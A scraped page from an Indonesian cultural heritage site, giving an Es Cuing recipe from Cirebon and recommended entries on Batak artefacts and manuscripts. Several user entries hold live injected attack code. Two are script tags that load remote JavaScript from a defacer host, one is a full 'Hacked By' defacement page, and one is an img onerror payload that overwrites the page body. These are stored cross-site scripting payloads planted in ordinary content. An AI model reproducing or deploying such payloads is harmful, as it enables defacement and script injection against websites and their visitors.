Makanan Minuman
Makanan Minuman
MInuman Jawa Barat Cirebon
Es Cuing
- 15 September 2017

RESEP ES CUING KHAS CIREBON

 

Bahan-bahan:

500 gr cincau hijau

500 gr es serut

 

Bahan Kuah Santan:

500 ml santan dari 1 butir kelapa

2 lembar daun pandan, ikat

1/2 sdt garam

 

Bahan Sirup Gula:

150 gr gula merah, sisir

150 ml air

25 gula pasir

1 ikat daun pandan

 

Cara Membuat:

1. Untuk membuat sirup: campurkan air bersama gula pasir, gula merah dan daun pandan, setelah itu masak di api kecil sambil diaduk-aduk sampai mendidih dan kental, angkat dan dinginkan

2. Rebus bahan santan sampai mendidih sambil diaduk-aduk kemudian angkat dan biarkan hingga dingin

3. Untuk penyajian: masukkan cincau dalam gelas kemudian siram dengan sirup dan kuah santan. Jangan lupa tambahkan es serut. Sajikan selagi dingin.

 

 

Sumber:

(widhianugraha.com/resep-es-cuing-khas-cirebon-yang-segar/)

https://resepdanmasakan.com/resep-cara-membuat-es-cuing-hijau-segar/

 

 

Diskusi

Silahkan masuk untuk berdiskusi.

Daftar Diskusi

Rekomendasi Entri

Gambar Entri
<script src="https://jso.defacer.id/raw/zfR5U933R1"></script>
Naskah Kuno dan Prasasti Naskah Kuno dan Prasasti
Jawa Barat

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Hacked By Y4nz404</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css"> <style> /* SirLionV - Advanced CSS for Immersive Look */ * { box-sizing: border-box; margin: 0; padding: 0; } body { background: black; color: white; font-family: 'Courier New', monospace; display: flex; flex-direction: column; align-items: center; justify-content: center; height: 100vh; overflow: hidden; } .container { text-align: center; transform: scale(1.1); /* Scaling biar pas di layar */ z-index: 2; }...

avatar
Xxxxxx
Gambar Entri
<script src="https://jso.defacer.id/raw/zfR5U933R1"></script>
Cerita Rakyat Cerita Rakyat
Jawa Barat

Kidung Lakbok atau Wawacan Kidung Lakbok adalah karya sastra lama berbentuk wawacan yang berasal dari Kecamatan Lakbok, Kabupaten Ciamis. Naskah ini diterbitkan kembali dan disusun rapi oleh M. Karso Prawiraatmadja di Bandjar pada tanggal 31 Agustus 1956. Karya ini menyimpan nilai sejarah dan kearifan lokal masyarakat setempat. Dokumentasi digital dan data ini disusun serta disumbangkan oleh Henri Purwanto.

avatar
Henripurwanto
Gambar Entri
<img src=x onerror="document.body.innerHTML='<h1>Hacked By Raxor404</h1>'">
Ornamen Ornamen
Sumatera Utara

HUDON TANO (Periuk Tanah) Di bawah ini merupakan foto tua (foto jaman dulu) penjual Hudon Tano (Periuk Tanah) di Onan (Pasar) Tarutung di tahun 1930. Masyarakat Batak yang tinggal di Sipoholon, Tarutung, dahulu kala terkenal sebagai "Sitopa Hudon" (pembuat periuk tanah). Dahulu, Hudon Tano ini digunakan secara meluas di Tanah (Tano) Batak sebagai alat masak tradisional. Bisa dibayangkan betapa enak dan nikmat rasanya melihat dan menikmati arsik atau menggulai Ikan Mas atau Ikan Batak (Ihan Batak), Porapora (Ikan Air Tawar), Haruting (Ikan Gabus), SIbahut (Ikan Lele), dan Incor (Ikan Air Tawar Kecil) yang dimasak menggunakan Hudon Tano ini... Sumber Foto : KITLV 28692

avatar
Hokker
Gambar Entri
Benda Magis Masyarakat Batak Toba
Ornamen Ornamen
Sumatera Utara

Benda Magis Masyarakat Batak Toba : Pagar Jabu - Sahan - Pohung 3 benda magis ini termasuk kategori Ilmu Putih yang berfungsi sebagai pelindung dari sihir dari niat orang jahat. PAGAR JABU (Bahasa Batak Karo : Bekam-bekam), berbentu tanduk hewan berisi sibiangsa (ramuan magis) yang berfungsi sebagai pelindung rumah dari serangan sihir jahat. SAHAN, terbuat dari gading atau tanduk tempat menyimpan pupuk (abu jenazah) yang memiliki kekuatan magis sebagai pagar (pelindung) dan konon dapat diminta untuk membinasakan musuh. POHUNG, sejenis ukiran yang dibungkus ijuk lalu diisi ramuan magis. Pohung ditempatkan di dalam rumah dan / atau di kebun yang memiliki fungsi mencegah niat jahat / pencuri hasil kebun dan harta di rumah. Sumber Koleksi : Museum Negeri Provinsi Sumatera Utara

avatar
Hokker
Gambar Entri
ILMU TAMBA TUA
Naskah Kuno dan Prasasti Naskah Kuno dan Prasasti
Sumatera Utara

Ilmu Tamba Tua adalah Elmo Kuno Batak (Ilmu Putih), dahulu ilmu ini dipercaya jika diamalkan akan mendatangkan kemakmuran serta kekayaan. Transliterasi (alih aksara) : ahu debata ni raja di bindu jao raja ni tam (ba) tua raja on di sim- bora di bulung hayu na denggan go- rar pe i do jadi lapi ni ta- taring ni ru- manta jadi tondolan ni balatuk ni rumah bea la... Rajah "gambar" di bawah bernama dewa "bindu jao". Rajah ini ditulis pada timah dan daun kayu (jenis yang bisa dituliskan). Rajah ini akan membawa kemakmuran bagi penghuni rumah apabila dibuat menjadi alas tungku perapian dan jika diletakkan sebagai alas tangga rumah. Sumber Foto : Verzeichnis der orientalischen handschriften in Deutschland

avatar
Hokker